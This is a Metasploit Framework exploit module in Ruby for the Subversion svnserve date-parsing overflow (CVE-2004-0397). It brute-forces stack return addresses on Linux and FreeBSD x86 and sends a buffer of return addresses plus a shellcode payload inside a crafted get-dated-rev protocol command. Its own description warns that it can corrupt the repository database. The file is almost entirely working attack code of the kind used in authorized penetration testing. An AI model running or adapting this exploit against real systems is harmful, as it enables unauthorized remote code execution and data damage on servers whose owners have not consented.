metasploit-framework/modules/exploits/multi/svn/svnserve_date.rb

124 lines
3.6 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/http/client'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Brute
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Subversion Date Svnserve',
'Description' => %q{
This is an exploit for the Subversion date parsing overflow. This
exploit is for the svnserve daemon (svn:// protocol) and will not work
for Subversion over webdav (http[s]://). This exploit should never
crash the daemon, and should be safe to do multi-hits.
**WARNING** This exploit seems to (not very often, I've only seen
it during testing) corrupt the subversion database, so be careful!
},
'Author' => 'spoonm',
'References' =>
[
['CVE', '2004-0397'],
['OSVDB', '6301'],
['BID', '10386'],
['URL', 'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html']
],
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
'MinNops' => 16,
},
'SaveRegisters' => [ 'esp' ],
'Arch' => 'x86',
'Platform' => %w{ bsd linux },
'Targets' =>
[
[
'Linux Bruteforce',
{
'Platform' => 'linux',
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xbffffe13 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 0
}
},
],
[
'FreeBSD Bruteforce',
{
'Platform' => 'bsd',
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xbfbffe13 },
'Stop' => { 'Ret' => 0xbfbf0000 },
'Step' => 0
}
},
],
],
'DisclosureDate' => 'May 19 2004'))
register_options(
[
Opt::RPORT(3690),
OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ])
], self.class)
register_advanced_options(
[
# 62 on spoonm's, 88 on HD's
OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]),
OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ])
], self.class)
end
def brute_exploit(addresses)
connect
print_status("Trying #{"%.8x" % addresses['Ret']}...")
buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded
[
"( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ",
"( ANONYMOUS ( 0; ) )",
"( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) "
].each_with_index { |buf, index|
trash = sock.get_once
print_line("Received: #{trash}") if debugging?
if (sock.put(buf) || 0) == 0 and index < 3
print_error("Error transmitting buffer.")
fail_with(Failure::Unknown, "Failed to transmit data") if !datastore['IgnoreErrors']
end
if index == 3 and trash.length > 0
print_error("Received data when we shouldn't have")
fail_with(Failure::Unknown, "Received data when it wasn't expected") if !datastore['IgnoreErrors']
end
}
handler
disconnect
end
def lengther(buf)
"#{buf.length}:" + buf
end
end